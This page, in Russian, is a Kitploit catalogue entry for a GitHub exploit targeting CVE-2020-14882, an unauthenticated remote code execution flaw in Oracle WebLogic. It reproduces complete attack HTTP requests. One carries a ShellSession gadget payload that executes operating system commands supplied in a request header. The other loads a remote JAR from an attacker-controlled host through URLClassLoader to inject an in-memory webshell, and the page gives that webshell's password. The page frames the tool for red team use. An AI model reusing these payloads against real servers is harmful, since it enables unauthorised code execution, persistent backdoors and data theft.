Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2020-14882 — Эксплойт для CVE-2020-14882 (WebLogic неаутентифицированный RCE) с развертыванием shell в памяти через URLClassLoader и гаджет ShellSession, обеспечивающий удаленное выполнение команд и постоянный доступ. | Kitploit
Инструменты/GitHubGitHub/kk98kk0/cve-2020-14882
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеRed TeamingРазработка Полезной Нагрузки
GitHubkk98kk0/cve-2020-14882

CVE-2020-14882

Эксплойт для CVE-2020-14882 (WebLogic неаутентифицированный RCE) с развертыванием shell в памяти через URLClassLoader и гаджет ShellSession, обеспечивающий удаленное выполнение команд и постоянный доступ.

Репозиторий
32185 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2020-14882 Развертывание WebShell в памяти BeeShell

Как известно, CVE-2020-14882 — это уязвимость несанкционированного доступа, с помощью которой злоумышленник может выполнить произвольный код на уязвимом сервере WebLogic. В общедоступных PoC для этой уязвимости используется обход проверки через недопустимые символы, а затем выполнение команд с помощью Gadget. Однако в реальных сценариях и при атаках Red Team простого выполнения команд недостаточно. Поэтому особенно важно уметь использовать эту уязвимость для развертывания WebShell в памяти.

Статей с анализом уязвимости в сети много — все сводится к проблеме двойного кодирования. Посмотрим непосредственно на общедоступный PoC-код выполнения:

POST /console/images/%252e%252e/console.portal HTTP/1.1
Host: 192.168.137.129:7001
cmd: whoami
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.137.129:7001/console/login/LoginForm.jsp
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: ADMINCONSOLESESSION=bVc4ldVQMjOVUU4Ch2gfrbdjJzOseetqLr98eCB-_a-1KoUGzBLm!2048667864; ADMINCONSOLESESSION=6KHjgTjHTJphTvmMmpSd6L1c1gmnwwD1nnjT2J5p6JrrhvxHjChb!355090686
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 1182

_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.WorkAdapter+adapter+%3d+((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()%3b+java.lang.reflect.Field+field+%3d+adapter.getClass().getDeclaredField("connectionHandler")%3bfield.setAccessible(true)%3bObject+obj+%3d+field.get(adapter)%3bweblogic.servlet.internal.ServletRequestImpl+req+%3d+(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj)%3b+String+cmd+%3d+req.getHeader("cmd")%3bString[]+cmds+%3d+System.getProperty("os.name").toLowerCase().contains("window")+%3f+new+String[]{"cmd.exe",+"/c",+cmd}+%3a+new+String[]{"/bin/sh",+"-c",+cmd}%3bif(cmd+!%3d+null+){+String+result+%3d+new+java.util.Scanner(new+java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next()%3b+weblogic.servlet.internal.ServletResponseImpl+res+%3d+(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req)%3b+res.getServletOutputStream().writeStream(new+weblogic.xml.util.StringInputStream(result))%3bres.getServletOutputStream().flush()%3bres.getWriter().write("")%3b}')

На данный момент эхо-ответ возможен только на WebLogic 12.2.1 и выше, поскольку в версии 10.3.6 данный класс отсутствует. Можно видеть, что данная версия использует gadget com.tangosol.coherence.mvel2.sh.ShellSession для выполнения произвольного кода. Таким образом, можно использовать java.net.URLClassLoader для загрузки вредоносного класса и внедрения WebShell в памяти. URLClassLoader — это класс-реализация ClassLoader, который может загружать классы как из локальных бинарных файлов, так и удаленно.

WebLogic BeeShell WebShell в памяти image.png Упаковка в JAR image.png Затем используем gadget com.tangosol.coherence.mvel2.sh.ShellSession для вызова URLClassLoader с удаленной загрузкой. Код:

com.tangosol.coherence.mvel2.sh.ShellSession("java.net.URLClassLoader u = new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL("http://192.168.86.5:6543/cc.jar")});u.loadClass("org.chabug.memshell.InjectFilterShell").newInstance(); u.close();");

Полный эксплойт

GET /console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.net.URLClassLoader u = new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL("http://192.168.86.5:6543/cc.jar")});u.loadClass("org.chabug.memshell.InjectFilterShell").newInstance(); u.close();"); HTTP/1.1
Host: 192.168.100.120:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate1
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 0


image.png image.png Пароль подключения BeeShell: rebeyond

image.png

Примечание: стандартная версия BeeShell не поддерживает WebShell в памяти.

Ссылки:

https://xz.aliyun.com/t/8202

https://www.cnblogs.com/potatsoSec/p/13895120.html

Скачать инструмент